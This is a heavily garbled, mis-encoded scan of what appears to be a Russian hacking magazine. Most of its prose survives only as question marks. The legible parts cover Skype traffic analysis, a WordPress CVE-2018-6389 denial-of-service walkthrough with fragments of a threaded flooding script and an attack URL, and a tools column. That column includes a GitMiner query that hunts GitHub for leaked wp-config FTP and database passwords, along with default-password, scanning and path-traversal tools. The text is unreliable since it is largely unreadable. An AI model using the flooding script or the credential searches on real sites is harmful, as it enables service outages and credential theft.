???�?�??????�????�??�????�???�??,�??�??�??�??�???�??�???�??????�
???�?�??�??�?,��????�????�???燬IP??????�????.�??�???,�??????�????�
????�??�????�??????��????�?????�??�???,�???�?燬IP??????�??�???
?�????�??�?????�???�???牜???�???粻????,�??????�??�???�???�?�???�
?????:� ????�?????�?� ?????�?� ???????� ???????� ?� ???�????�??� ????�????�
?????,�??�???�???�?�??�???.�????�??�???�???�??�???�?燩HMM??????�
???�?�???�?????�??�??�?�??�?????�(??????�??�??�??�??��??�???�??
???�????� ??????�????�??� ????�??),� ????� �???�???�?粻 ?� PHMM?????�???,
??�????�??�?�???�??�????.�??�??�??�???�???,�??�??�????�????�????�
???�???�??�?�???�?????�?�??�????�???�?????�??�??�?�?�%.
?????????????�???????????�??????????燬KYPE
?????� ???�?????�??�???�?,� ???� ???� ??????� PHMM?????�???� ??????
???�????�???�??�?????:�??�????�???�??�????�??�???�??�??,�??????�
??????� ????�?????� Skype� (???????� ??????�???� ????�??�??� Opus/NGC
?� VBR???????� ?� 256????�??� AES????�??????).� ?� ????� ???�????�?� ???????�
????�?�????�????�???�??�???�??�?�??�?�??,�??�???�???�???�?�????�?
????,�?�???�?�?燬kype???????�??????燨pus.
???� ???�????� ???�??� PHMM?????�???� ?????�???�???� ???�???�???????
?????�??�?????�???�?????�????:
1.�??�???� ???�???� ?????� ?????�??�??,� ????�?????� ???� ????�???�???� ??
???�?.
2.�?�??� ????�???�?� ????�??� ???????� ???????� ?� ???�????�???� ??????�??
??????� ???�?� ???�?� ????�???� ??????�?� Skype� (???� ???�???� ?� ??????�??
???�????�???燯DP????�???�??�?�??�?�?????�?,��?????燩2P).
3.�?�??� ???�???�???� ???�??� ??� ???�?????� ?????�??�??� ?� Skype?????�?,
??????�??� ????�???�?,� ?� ??????�??�??�?� ???????�???� ???�????� ???�?
???�???.
4.�??� ???�????� ?????�??� ????�??� ???� ???�??�?� ???� ?????�??�??� ???�?
???�???,�??�???�??�?�?�??�??�?????�????�????�???�??�???�??�?.
???�?� ???�?� ????� ???�???�??�??� ???�??� ?????�?� ????� UDP????????� ????
?????�???� ???� ??????� ????�???�??�???� ???�???� ???� PCAP????�??.
???????�??� ?????�?,� ???�?????� ??� ????� ???????� ?????�??� ???�????,� ?????
??????�???????�??�??�????�?燩HMM???????��?????�?????�?�???�??�?
??�??��??�?.
?�???�????????燰BR-??????
??�?????� ??,� ????�???� ?????�??� ???�??� ???�?� ??????,� ??????�?� ????�???�
????� ?� ?????� ???�???�???� ???�??�?� (????� ?????� ??� ???� ???????� ?� ???�???�
????�??�??�????�?�??�?�??�?�??�???�?),�?�???��???�??�??�???????�
?????� ???�????�???� ????�??�???� ???� ???� ???????�?� ??????� ???�???.� ????
???�??�??�??�???�??????燰BR????�???��??�???�???�?�??�????�??�?
??�???????�??????.�?�???��??�??�??�???�???,�??�????� ??�??�????�
???�???�??�?�??�???.
??�???,� ?????�?,� ???�???�??�??,� ??� ????�?� ????�???.� ??????� ???�????�
???�???� ??????� ???� ?� Skype,� ???�????� ?� ?????� ???�?????�??� ??????� UDP?
???�???�?� ?� NAT� (network� address� translation� ?� ???�???�???�??� ???????
????�??),��??�?�??�?????�??�????�??�?????�????�?�?????,�?????�?
???????� ???????� ??� ????�??�???�???,� ????� ???�?� ?� ???�?????� ???�???�?
?????.�??�??????�?�?????�???�????�???��???.
??�???�??�????�??�??????�???�???�???�????�?�?????�???�??�????,
???�???�???� ????�???� ??????� ??� ????� ?� ???�?????� ?????� 80%?� ????�?????�
???�????�???�??�?�??�??�?,�??�??????�?????????�???�?�??�?????�?
?� ???�????� ?????�????�??� ???????:� ????�?� ???????�??� ??????�???
?� ??????�??� ??????,� ???�?� ????�???????� ???????,� ???� ??� ???�?� ???�????
????�?????�?.�� ???�????�(?�???????�?燝oogle燭alk,燣ella�燘ettati)�??????�
???� ????�?????�???�?,� ????� ???�?� ?????� ???�??� ???????� ???????� ????�?
??�???�(????�??�?燰BR??????�????�??).�????�????�???�???�??�???�?
??� ????�????� ???�??�??� ???????�??� ???�?� ???�??�?� ???????.� ???�??�??
?????� ???�???�?� ??� ????� ???�????,� ???????� ??????�???� ?� ?????� ???�??
??????,��????�???�???�??�??�???�??????�???��??�?�???�???�??�?
????�?�??�?.
??????????
???�?????�???�???�???,�???�????�??�????�??�???�????�??�??�?????�
??�???????�??�????�??燰oIP????�?????�??�?�???�?????�??,��??�???�
??�???�??�???�????�??�????�???�?�??�??????�???�??��??�??�???
??�???� ??�???�???�?.�??�?�??�?�???�???,�??��??�??�?????�??�????
?????�???�???�???�?????�????�??�?????�??�????�???�??�?�??�????
(PHMM?????�???),� ???????� ???�???�???� ?????�??� ???� ???�????�????� ????�
?????�???�???�??�???�(?�????�??�?????�??�?�??�?????�????�??�????�
?????,�??燩RISM�燘ULLRUN).�?�????�?????�????�??�??????�????�??�?
?????�?� ?� ???�?.� ???� ???� ????� ??????� ????� ?� ????� ??� ???�????� ?� ????�?
??�??�?????�???�?�??�??�?????�???.
INFO
??� ???????� ?� ???�????�??� ???�????.� ???�????
??????�???� ?� ??????�??� ???�??� Google,� ??� ??
???�??�?� ???�???�???� ???�?� ???�????� ?� ??????�
??.� ??????� ???� ????�?.� ????�?� ????�???�??�??
???�????� ?� Youtube.� ???� ????� ???�??�?� ?????�??
???�????�????� ???????� ?????� ??� ????�??�??
??????�??� ???????�???� :)� ?????�??� ?????:
??� ???�?� ???????�????�?� ????�??�???� ?� ???�?
???�????�????�???�??�??�?????�?�???.
?????
????????
aLLy
ONsec
@iamsecurity
WORDPRESS
???�???????�????�????
�?????粻?????�?燱ORDPRESS
?� WordPress,� ?????� ???????�??� CMS� ?� ????,� ????� ???�???
????�?,� ???????� ???�???�?� ????????� ?????� ?� ?????�???�??
???�?,� ??� ????� DoS.� ????????� ???�??�??�??� ?� ???�?????
???�????�??�??�?�??�??�?,��??�??�?�?�??�?�???�???
??????�?�??�???��??�???.
?????� ????� ????�???�?� ????�??�???� ?????�????� ???????� ??????� (Barak
Tawily� aka� Quitten),� ???�?� ??� ???�??� ???�??�??� ???�??� ??� WordPress.� ????�
???????� ??????�?� ????�?????�??� CVE?2018?6389� ?� ???�???�??�?� ??� ???????
???�??�?�??�?�???,�??�??�??�????�???�?燱ordPress燜oundation�?�???�
???�???�?????�???�??????�???�???��?????�???�?.��?????�???�?�???
??� ???????�?� ????� ?????� ???�??� ??� ??????� ??????�??� ??????� ???�??
CMS��9.5.
????,� ????�????� ???�??????� ??� ???�??????� ???�???,� ?� ???� ??� ???� ???
??????,�??�???�?�???�??�???.
?????
?� ???� ????�?????�?� ???�????� ?????� ???� ???�?????�??� ???�????�??� ?� Word?
Press,� ???�?� ????????� ??� ???�??�??� ???�????�?,� ?????�?� ???�????�?� ????�
??????�?�???????�???????,�?�???�?�??�????��??�?????�?.
??� ???�????� ??????�???� ???�??�??� Docker� ??� Debian� ?� ????�??� ???�??
PHP�燗pache.
$燿ocker爎un�it�?rm�p80:80�?name=wpdos�?hostname=wpdos燿ebian�/
bin/bash
$燼pt?get爑pdate�&&燼pt?get爄nstall�y爉ysql?server燼pache2爌hp爌hp7.
0?mysqli爊ano爓get
???�???�?��??�?????�???燱ordPress�??�??�9.5:
$燾d�/tmp�&&爓get爃ttps://wordpress.org/wordpress?4.9.5.tar.gz
$爐ar爔zf爓ordpress?4.9.5.tar.gz
$爎m�rf�/var/www/html/*�&&爉v爓ordpress/*�/var/www/html/
$燾hown�R爓ww?data:www?data�/var/www/html/
??�??�???�???�??????�??�???:
$爏ervice爉ysql爏tart�&&爏ervice燼pache2爏tart
$爉ysql�u爎oot�e�"CREATE燚ATABASE爓pdos;燝RANT燗LL燩RIVILEGES燨N�*.
*燭O�'root'@'localhost'營DENTIFIED燘Y�'megapass';"
????�?�???�?�???�??�??燙MS�????�??�???.
??�????�?燱ordPress
??????�?????????
????,� ??????� ??� ???�?� ????�????� ???�??�???� ???�?� ??� WordPress� ????�??
???�????� ??� ??????� load?scripts.php.� ??� ??????�???�?� ???� ????�??????
JavaScript.� ???�????� ???�???�???� ???�??� ???�???�???� ?� ???????�?� load,
?� ???� ??????� ??� ?????�????� ???�??�???�?.� ???�???� ???� ???� ????,� ???�?
????�???�??�????�???�???��????�???�??????�??�??�????��??�???.
??�??�???�??,�??�?�??�???�??????�??�??�??�??�??�??�??�?�????�
???????� ???�?� JS,� ???�????�?� ???�???� ???�??� ??� ????� ??????� load?
scripts.php,� ?� ???????�??� ??????�?� ?????� ???????�???� ???� ????�??????
???�?燡avaScript.�??,�???�?,�?????�?�??�??????�??�??�???�???�??�???�
?????�?� ?????�?.� ??� ??� ??????� ?� ?????�?� load?styles.php,� ????�?� ?� ?????�
?????�??�??燙SS.
???�?????� ??� ????????� ???� load?scripts.php.� ???�????� ???�??� ????�
????�???�????�??????.
/wp-admin/load-scripts.php
17:�$load��$_GET['load'];
18:爄f�(爄s_array(�$load�)�)
19:牋牋�$load�爄mplode(�'',�$load�);
20:
21:�$load�爌reg_replace(�'/[^a?z0?9,_?]+/i',�'',�$load�);
22:�$load�燼rray_unique(爀xplode(�',',�$load�)�);
??�??�?�????�?�?�????�??�??????�?????�???,�??�?????�??�???�???�
??????� ??� ???????�?,� ?????�??�?� ???�?� ???�????�??� ???�??� ???�????�??
???�????.
/wp-admin/load-scripts.php
48:爁oreach�(�$load燼s�$handle�)爗
49:牋牋爄f�(�!array_key_exists($handle,�$wp_scripts?>registered)�)
50:牋牋牋牋燾ontinue;
51:
52:牋牋�$path�燗BSPATH�.�$wp_scripts?>registered[$handle]?>src;
53:牋牋�$out�.=爂et_file($path)�.�"\n";
54:爙
????� ???�??� ???????�?� ?� ????�???� registered� ????�?� WP_Scripts� ?� ??????�
????�?�??�?????�??�???� wp_default_scripts�?�??�?� script?loader.
php.
/wp-admin/load-scripts.php
36:�$wp_scripts�爊ew燱P_Scripts();
37:爓p_default_scripts($wp_scripts);
/wp-includes/script-loader.php
37:�/**
38:牋*燫egister燼ll燱ordPress爏cripts.
...
46:牋*燖param燱P_Scripts�$scripts燱P_Scripts爋bject.
47:牋*/
48:爁unction爓p_default_scripts(�&$scripts�)爗
??�??�???�?� ???�??� ???�????�??� ?� ???�????� ???�??� ???� ??????� ??????
add.
/wp-includes/script-loader.php
048:爁unction爓p_default_scripts(�&$scripts�)爗
...
086:牋牋$scripts?>add(�'wp?a11y',�"/wp?includes/js/wp?a11y$suffix.js"
,燼rray(�'jquery'�),爁alse,�;
087:
088:牋牋$scripts?>add(�'sack',�"/wp?includes/js/tw?sack$suffix.js",�
array(),�'1.6.1',�;
...
125:牋牋$scripts?>add(�'editor',�"/wp?admin/js/editor$suffix.js",�
array('utils','jquery'),爁alse,�;
...
?� ???????�??� ??????� ???�???�???� ???�????� ???�??�?,� ????� ??� ???�?,
??????�??�?�?�??�??�??�??�??,�??�??��??�??.
/wp-includes/class.wp-scripts.php
18:燾lass燱P_Scripts爀xtends燱P_Dependencies爗
/wp-includes/class.wp-dependencies.php
206:牋牋public爁unction燼dd(�$handle,�$src,�$deps�燼rray(),�$ver��
false,�$args�爊ull�)爗
207:牋牋牋牋if�(爄sset($this?>registered[$handle])�)
208:牋牋牋牋牋牋return爁alse;
209:牋牋牋牋$this?>registered[$handle]�爊ew燺WP_Dependency(�$handle,
$src,�$deps,�$ver,�$args�);
210:牋牋牋牋return爐rue;
211:牋牋}
???�??�??�??�???�??????�??�???�???�??�??�??�??�?�??�?� ???.�??�?
??�1.�?�???�????�??�???�???�?????�???�??�??�??�??�????�??.
/wp-includes/script-loader.php
67:牋牋�$suffix�燬CRIPT_DEBUG��''��'.min';
68:牋牋�$dev_suffix��$develop_src��''��'.min';
??�??�??�????�????�?爑tils.min.js�????爈oad?scripts.php
????��??,�??�?�??�?????�??�??�?????燡S????�?�????�??�????.�?
??????�???� ????�??�????,� ??� ????� ???�?????� ???� ???????,� ??� ????�?� ????�
????�??��??�?�??�??�???�??�0�??�????�??�??.
http://wpdos.visualhack/wp?admin/load?scripts.php?load=utils,common,
wp?a11y,sack,quicktags,colorpicker,editor,wp?fullscreen?stub,wp?ajax?
response,wp?api?request,wp?pointer...
???�?,� ???�??�??� ??� ??????�????� ???�???� ??� ???�???� ???????�???� ???�?
????�?,� ???�?� ~500� ???�???????.� ???�??�?� ?????�?� ???�??� ????�???�??
????�??�??.
???�????�???燡S????�??�??????�??�?�????�??�??�爈oad?scripts.php
???�??�???�???�???�?????�?�??�?????爁ile_get_contents.
/wp-admin/includes/noop.php
102:爁unction爂et_file(�$path�)爗
103:
104:牋牋if�(爁unction_exists('realpath')�)爗
105:牋牋牋牋$path�爎ealpath(�$path�);
106:牋牋}
107:
108:牋牋if�(�!�$path爘|�!燖is_file(�$path�)�)爗
109:牋牋牋牋return�'';
110:牋牋}
111:
112:牋牋return燖file_get_contents(�$path�);
113:爙
??�???�???,�??�??�??�??�??�????�???????�1�??�????�??�????????,
?� ????� ?????� ???�????� ?????� ???�?,� ??� ?� ???�??� ???�???� ?� ???�???� ?????
??????�?�???�???.�??�??�?�??�???�???�??�??�?爏hared????�?????.
?????????????�??
??�???� ?????� ????�???�?� ???�??�???�??� ???�???� ?� ??????� URL.� ??????
???� ????� ?????� ??????�????� ???????�??� ???�???� ???� ???�???�?� doser,
???????� ?????�???� ???�???� ?� ???�???� ?� ???�??�??� ???????�??� ???????.� ???
??????� ???????� ??� Python� 2.7� ?� ??????�?????�?� ???�?????� requests
?爐hreading.
???�???�?�?????�???�?:
$爌ython燿oser.py�g�url>�t�9
????� g� ???????� ???,� ???� ???�?� ??????�???� ???�???� ???????� GET,� ?� ?
???????爐�??�?�??�???�??????�??�??????.
doser.py
067:燿ef爏endGET(url):
...
070:牋牋try:
071:牋牋牋牋request_counter+=1
072:牋牋牋牋request�爎equests.get(url,爃eaders=headers)
...
094:牋牋牋牋牋牋while燭rue:
095:牋牋牋牋牋牋牋牋global爑rl
096:牋牋牋牋牋牋牋牋sendGET(url)
...
113:燿ef爉ain(argv):
...
115:牋牋parser.add_argument('?g',爃elp='Specify燝ET爎equest.燯sage:�
?g燶'<url>\'')
...
119:牋牋parser.add_argument('?t',爃elp='Specify爊umber爋f爐hreads爐o�
be爑sed',燿efault=500,爐ype=int)
...
128:牋牋牋牋for爄爄n爎ange(args.t):
129:牋牋牋牋牋牋t�燬endGETThread()
???�????,� ???????� ??� ?????� ???�???� ?� ????�???�??,� ??� ??????� ??????�?
???�??????�??� ?� ?� ???????� ?????�???�?.� ???�?� ????� ?????� ???�????� ???
????�???�??�??�??�??�????�????�??�???�???�???�?????�?.
??�????�??�????�??燚oS????�?
???�?� ????????� ???� ???�???� ???�????,� ??????� ?????�?????�?� ??????�???
???�???�?�??�????�??�??燙SS�????爈oad?styles.php.
????????????�?????????�(?????)
??????
???� ?????� ???�?????�???� ???�??� ???�?.� ?????�?,� ??????� ??� ???� ???????�
???????� ??� ????�??� ????�????,� ???�?� ??� ??� ???� ???�?????� ???�????
�????�.� ???�???�?� ???�??�????� ???????�??� ???�??� ??� ??????� ???�?� ????�
???�???�?�??�??.��??�?爏hared????�?????�??�?�?????�?�??�????�???
?????�?,�,�???�??�??????�???,�????�??�??????�???�???.�??,�?�??�?
???�?????�??� ??� ?????� ??� ????� ???�??� ???�??� ???�????� ???� ???�?� ?????�
????�??��??�???�??�??????�??�??????.
??�???� ??� ?� WordPress� ??� ???�???� ???� ???�?� ????�????� ?� ??� ???????�?
??????�????� ?� ?????� ???�???,� ???�????�????� ???�?� ??????:� ???� ??� ?????
??????�???�????� ??� ??????�??????� ??� CMS� ??� ???�??� ???� ?????�??�??� ????�
???�????� ???�????� (WordPress� ????�????� ??????� ??� ?????� ???�??� CMS).
??� ???� ???�??� ??� ??,� ???� ?????�?� ???�???� ??� ???�????�????� ???�???,
??� ???????� ??????�?� ????� ????.� ????�???� ???� ???�?� ???�??�?� ???�???,� ?� ?
???�??,� ???� ????� ???�?� ???????�??� ???�????� ???�???� ???.� ??� ??� ???� ????
CVE,��??�?�??�??!
?????
X-TOOLS
????????�???????
???????�??�????
?�??????�?????
????�??????
???????�???????燷[,
?????????�??????????�
?????????????
rusanen@glc.ru
??�??�?????� X?Tools� ???�????� ???�?� ?� ???�???� ?????�??
???�??.�??�???�??�???��??�?�?????.�??�??�??�???
????,�??????�??????�??�?,�???�?????�???�??�????�???�
??,� ?� ???�?� ?????????� ????� ???�??�??�??,� ???�????� ??????�
????�?????�??�????��??????�?????.
????�?????????�?????�燝IT-????????????
? ???�????�??:燚anilo燰az燼ka燯NK
? ????�???:燝itHub
??�???�?????��?????�燝it???????�????��??�??�???�?�?�??�??��???�
??????爏ecurity?????�???.�???????�?,�????�?�??�??�??�?,�??�???�???�
????�??� ???�??� ???�??� ????� ???� ???????� ????�?????� ?� .gitignore,� ??� ?
???�???� ???????�?� ?????�???� ???�?� ?� ???�??� ???�??� ?????�?� ?� ?????�??
????.�??�??�??�?:�??�?????�????�???�???�?�??�??�??�??,�??�????�
??????�??�????�??�??,�?????��??????�?�?�??�??�??��??�??�????�
??.�??�???�???�??�???�??�????�??????�???�??�??�??�?�燝itMiner.
GitMiner� ?� ???� ????�????� ??� ?????�??� ??????�???�?� ??� GitHub.� ??� ????�
????�??� ???,� ???� ??????� (??????,� ??????),� ?� ?????� ???�??� (???�????,� ????�
???????),� ???� ???�??� ????� ????�?� (???�?� ?????�???� ???�?� ??� ???�?????),
?� ???�?� ???�???� ???� ???�????.� ?� ?????�????� ?????.� ?� ?????� ????� ?� ????�??
????�????�?????�?�??�????�??�??�??,��??�?燯RL,�??�??�????�????
????�???�???�?.�??�?????�?????�??�?�???�???�???�??�???��??�???,
???????�?????�????�燙hrome燚ev燭ools.
?爂it_miner.py�q�'filename:wp?config爀xtension:php燜TP_HOST爄n:
file�'�m爓ordpress�c�????_????>�o爎esult.txt
?� ?????� ????� ?????� ???�?????� ???� ?????� ???????� ???�????.� ?� ??????�???,
??????�?�??�?�??�??�??�????.
???�?�??????��??????,�?????�??�?�??�??�?�???.�??�???�� config/
parsers.json.� ???� ???�???� ???�????� ???????� ?� ???�????� ???� ???�????
?� GitMiner.� ????� ??????� ???�???� ??????� ????,� ????�?� ??????� ???� ????� ????
?燡SON燾�??�???�??????�???.
?燾at燾onfig/parsers.json
{
�"wordpress":{
牋�"contains":"root",
牋�"parameters":{
牋牋�"param1":"'FTP_USER',",
牋牋�"param2":"'FTP_PASS',",
牋牋�"param3":"'FTP_HOST',",
牋牋�"param4":"'DB_USER',",
牋牋�"param5":"'DB_PASSWORD',"
牋爙,
牋�"splitparam":"'",
牋�"splitorder":{
牋牋�"order1":"1",
牋牋�"order2":"3"
牋爙
爙,
�"senhas":{
牋�"contains":"senha",
牋�"parameters":{
牋�...
GitMiner� ???????� ??????�?� ?� ?????�?� ???????� ?� ??????�??� ??????�??�??,
?�??�??,�????�????��???�??爒irtualenv.�?�?�??�??,�???�????�???�????
???�?�??�?�?�????�?�??�??,��???�?�??�???�??�燚ocker?le.
INFO
??�?�??�?�????�?????�� TypeError:爓rite()燼r?
gument爉ust燽e爏tr,爊ot燽ytes,�??�????�?????
??� 78??� ????�?� ?????� ?� UTF?8� (.encode("utf?
8")):爓rite()�??�???爏tr.
??????????�????????�?????�???????
? ???�????�??:燰iral燤aniar
? ????�???:燝itHub
??�??�???� ??????� ??� ???????� ??????�????� ?????�???�?� ????,� ???� ?????
????????�?�?�??�??�?????.��??????�?�????�???�??�???�?????�??�??
???�?�????�??�?�???�?�??�???�???�?????�??,�?��??�??????�??�????.
????,�???�?�??�??�???�??,�?�??�??�?�????�????�?,�??�????�?????�
????� ??????� ?� ?????� ?????�???� ?� ????� ?????�???� ???�?� ???????� ???�?
Passhunt.
Passhunt� ?� ???� ????�???�??� ??????� ??� Python,� ???????� ???�???�?� ???�??
?????�?� ?????�???� ??????� ?� ??????� ???� ?????�??� ???????�??� ??????�??:
???� ???�??�??�???�?� ?????�???�???� ????� Zyxel,� D?Link,� ???� ?� ???�???�
??????� ?� Cisco,� Check� Point� ?� ???� ?????.� ?� ????� ???�?� 523� ???�???,� ?� ???
???�???�???�?�????�???????,�??�?�?��??�??�??�??�???????�?�?????
?�??�?爉ikrotik燿efault爈ogin爌assword.
?� ????� ?� Passhunt� ???�???,� ???� ???� ??????�?� ?� Python� 3.0+,� ????�?� ?� ??
??????�??�?爏sl?1.16�???
?爌rint�'looking爁or',爁
???�??�?????�????�??????�?�???????��????爌ip�??�???�??�?.�??�?
???�?� ??????� Python� 2.6� (?� ???� ??????�?� ????�?� ?� ???!)� ???� ??????� ??????
ssl,� ????� ??� ???�???,� ???� ???�????�??...� ????�?� ?????� ???�???� ssl� ??� re?
quirements.txt� ???� ??????�?� ??� ??????� ???�?.� ????�?� ???�?� ??????�????,
???�??爌ip爄nstall�r爎equirements.txt,��??�?????�???.
?�???�?,�??燩asshunt�??????�牜???�??粻???�???�?�??�???,�??�??�???�
??�????燾url�).��??�?�??�??,燩asshunt��??�???�?�???�??,�??????�???�
???爃ttps://cirt.net/��??????燘eautifulSoup.
?????????�???????�??????
? ???�????�??:爏cip燗G
? ????�???:燝itHub
Nmap��??�????�???�??�?�??�???,�??�???�?????�???�??�?�爊etwork爏e?
curity.� ???�?????�?� ????�?????� ???�???,� ??????�???,� ??� ????�???�???�?
????�??�??�???�???�?�??�??.
WWW
??�?�?????�????�???�?�??�?????��???,�???�
??????�?� ????�?� ??????�??� ??� ???�??� ?� nmap
?燦SE??????�????.
?� ????� ?????�?,� ???� Nmap� ?????�??� ??????�?� ???� ???�???�????� ?????????�
????�???� ???�??� ??????�????�?� ??� ???�?� ???�?.� ?� ???,� ?� ????� ???�???,
???????� ??????,� ?????� ???�????�?� ?????�????�?� ?????� ????�?????�?
??�????�?????�?????.
???�??� vulscan� ?� ???� NSE???????,� ???????� ????�????� ????� Nmap� ?� ???�??
???�????�??.� ?� ???�???�?� ??� ?????�??� ????� ???�???�?� ???� ???�????�??.
????�??�?�????�?��???�?�??�????�???��/scripts�(???燦map�?爉acOS,
???�????,� ???� ?????� /usr/local/Cellar/nmap/7.60/share/nmap/scripts)
?�????�??,�??????��???�??�?燦SE???????:
?爊map�sV�?script=vulscan/vulscan.nse爐arget.com
????�????�??�???,�?�???�?�??�????�???�???�??�???�???�??�???燰ulners,
????�??�?� ???�??� ??????:� ?� ???�??� ????� ???�??� ???� Burp,� ?� ???�?� ????�
???????� ???� Chrome,� ???????� ??� ???�?� ???�????� ???�???�???� ???????�?
???�????,�??�???�?�??�?�???�,�???�????�??�????�???,�????�??�???
??�???.�???�?!
???????�?�??????燱EB燫OOT
? ???�????�??:燡ulio燙.燬tefanutto
? ????�???:燝itHub
???�????�?�??????�??�??�????????��?,�??� Path燭raversal�??�� OWASP
Top� 10,� ?� ?????�??� ????� ???� ???�??????� ???????�???� ?????�???�?.� ????�
??????�?� ????�?????�????�??� ???�???,� ???,� ??� ???�????,� ?� �???????粻 ???
web� root� ???????�???� ???�?� ?� ?????�??� ???????�?????.� ???�???
dotdotslash� ?� ????� ???�??� ?????�??� ?� ???�??� ????�??�???� ???�????� ????�
???.
??????�?�?????�??�???�?�???�??�?????�??�???�??�??:
? url��??�????�????
? string��???????,�????�??????�????�???????�?�??????�?????�
?????.
??�??�???????� ??depth�??�?�???????�??�???�??�???�????,�??�?�????�
??????�??�?.
?� ???�?� ??????� ???�?� ???�???�?� ??� ??????�??� ????� ????�??� ???�??
???�??�?????�?.
?�???�?��??????�???爌rede?ned????�?????�??�??�?,�????�?�??????
????�????�???�????�??.
?�????,燩ython��?????�??�??�??.�???�??.�)
?????????�????�?�????????�?????????
? ???�????�??:燗bay
? ????�???:燝itHub
???�?�???�??�?�燩ath燭raversal,�???�?�??�??�?????�?.�????�??????
?????�??� ???????�??� ?????�????� ?� ???????�???�??� ?????�???� ???�??�??
???�????.� ?� ????� ???�?????�??� dirbuster� ??� OWASP� ????� ?????� ???� ?????,
?�??�???�??�??�??�??�??�?�??�??????�??�??.�???�?�??�燙rawlBox.
CrawlBox� ?� ???� ????�??,� ??� ???�??�????�??� ???�?????� ?????�????,
???????�??� ??� Python.� ??� ?????�?????� ????� ????????� ???�???????� ???�???
??????????��?????�?????�??�??�??�?�?�??�??�?�????�???????�w.
WWW
?� ?????�??� ????� ???�?� ???????� ???�??�???� fuz?
z.txt�?�????�??�?��??�???燘o0oM.
???�?????燙rawlBox�??�???燩ython��??�?爎oot,�??�???�?????�??�????�
??,�?�??�???�???��?�?�?�??�???�??�???,��???�??�?�?????�???�)
????燬AN�燬SL-????????????
? ???�????�??:燜ranccesco燨rozco
? ????�???:燝itHub
??� ?????�???� ?????,� ???� ??????�??� SSL????�?????�?� ???�???�?� ????????
??� ????,� ?� ???�???�?� ?????�??� ????.� ????�?� ???�???�?,� ?� ??� ???� ????�
??????,�??�??�??�???�??��??�??��?????�???爓ildcard????�?????�???.
??????�???,�??�??�????�??�???�??�???�?�????�?�??�??????�?�???�?
????????� ????,� ??� ?� Subject� Alternative� Name� (SAN)� ?� ???�??,� ???????� ????�
??????�燬SL????�?????�?.�?????�?�??�?��???�??,�?�????,�??�?��??
????�??�?燝etAltName?
GetAltName�???�????�??�???�???�???�?????燯RL��??????�??????燬AN
?� ????�??� ???�???.� ??� ????�??� ???� ????� ???�???????� ??� ????�?� ???�???
??� ????�?,� ??� ?� ???�??�?????� ?????�?� XML????� ????� ??� Nmap??.� ??� ?� ??????
???�??�?????.
?�???�??�??�?????�?�?燩ython�6,�?????�??�?�????爌ip,�?????�???�
????�?�??�???�?.
?????????????�????????????�??�????????????????
????????
? ???�????�??:燗ndrew燞orton
? ????�???:燤orningStar燬ecurity
???�?????�???� ?� ???� ?????� ???�??� ???�?!� ???� ???�?� ????�?� xakep.ru� ??
???????� cakep.ru� ???� xakkep.ru.� ???�???� ???�???,� ???�?????�???� ???�???�
???�???� ???�??�?� ?� ??????�??� ?????�??� ????.� ????�?� ?????� ????
???� ??????�??�??� (???�????,� ?????� ???�???� ???�???� ??� ???�????�?),� ???
?� ???????�????�??� (cisko.com,� mikrosoft.com).� ?????,� ??� ?� ???� ????
??????�??�?????�??�??�??�????�??�??�??��??�????�??�???�??????�
??,�??�?????�??�?�?????��????�??????�??.
Urlcrazy� ?� ??????�?� ?????�??� ???�?� ???� ????�???�????�???� ???�????!� ?� ??
???????� ??� ??� ????�?� ???�???�????� ???�??�??� ???�????� ?????�??� ????
??� ???�??�?????�???� ???�?????�???� ??????,� ??� ?� ???�?????� ?????� ??� ???
??� ?????????.� ???�???,� ???�?????�???,� ????�?� ???�???�????,� ??????
??�?????�?,�??�??�?��??�??�?????�??爑rlcrazy�??�???�?��???�?�???
?????�??�??�??????,�??????�??�?�?????�?????��??�?????�??�?�???�
???�??????.� ???�??� ???????� ????�???� ??????�??� ????�???�?,� ?� ???�?
?????��??????�?�????�???�??�?.
???� ??????� ???�???�???� Ruby,� ?� ????� ???�??� ??????�?� ???� ???�??
??爎uby�5.0p0.
?� ??� ?????�?� ???.� ?????�?,� ???�??� ?� ????�????�?� ?� ???�?????� ?� ?????
?�???�??�??�?????!
?????
???�???????
????????????
???????�?????
?????????????�????????�????
?�????�?????????燛THEREUM
Ethereum� ????�???� ????????� ???????�????� ???� ????�????
???營CO.�?�??�??�???�?�?�???�?�??�??�????�??????
????�????� ERC?20.� ????�???� Ethereum� ???�?� ??????�?????
?� ????????????�?,� ??????�?� ?� ???�?????� ?????.� ????�
????????�??� ????�?????� ????�??�?� ????�?� ???�?????� ?
???�??????�????�??�???�???��???�????,��?�??�????
???�???�??� ?????� ????� ???�??.� ????� ??� ????�??� ?� ????�
?????� ??????�???� ????�????�??�??� ?????,� ????.� ?????
???�????� ???????� ????�?� ?????�????� ????� ?� ????�???
?????�?�???燛thereum.
Ethereum�??�???�?�????????�??????????�??�???�????,�???�?�???????�
???�?�??�?燬olidity,�????�?�???�???�?�???�????�?????�?�?牜???????
?????�????�??�??�.� ???�???�?� ????�?????�?� Ethereum� ????�?� ????�?
??????�?????� ?� ???�?� ????�???� ??????????,� ???� ?????� ???�?� ???????� ?????�
??????�?.
??�???� ???�??�?� ????�??�?� Ethereum� ????�??�????,� ???� ???�???� ?????�
?????�??�??,�??�????�???????�???�???�??�?????�??�???�????�??�??
?????��????�???�??�????�????�???�???�???.�?�?????�????�?????
?????�??�???�?,�??�?�??�???�????�????�???�?燬olidity��??????�???�
???????�??�??� ????�?� ???�???�???�??,� ???????� ???�????� ?� ???�????�??
?�???�??�????�??�???????�???�??�???�??�??�??�??�?.
INFO
?� 2017� ????� ???�?????�?� Positive� Technologies
??�??�???�?� ???�???� ??� ???�???� ???????�????
?� ??????� ??� ?????�???�????�??� ???� ???�???�?
ICO,� ???� ?� ????�????� ????�???????�??????.
??????�???� ?????�???�??� ???�?????� ???�?????�
???�?:� ???�????�?� ?� ?????????�???�??� ????
????�???� ?� 71%� ???�????,� ?� 23%� ???�????� ????
????�???� ?????�????,� ???�???�???� ???�?????
???????�??.� ?� ???�??� ???�???� ICO� ?� ????�??
?????�?????� ????� ???�????�??.� ????�?� ????�
????�????�??� ???�????�?� ???�?� ?????,� ???�?
????�????�???�?�??????�??.
??�?�????�???�??�???�???�??�?????�??�??:
1.�??�???�49�????�??�???�??�爀therscan.io�燝itHub.
2.�?�????�???�?�??�???�?�燛lasticsearch,�???�????��????�??�????.
3.��??????�???????????�?燢ibana��?????�?�??�?????�???�?�???�?
?�???�??�??�??�??�???�???�?��??�???�??�????�????�???.
4.�??�??�???�????� ????�??� ???�??� ???�????,� ??� ????�???�?,� ???� 43� ????�
????�?�???�??�???.
????????�?????????
???�??�?????�?????�?????�??�??�????�???:
? ??�???�???,�?????�?????�??????�??�??�?�??�???????�????�???
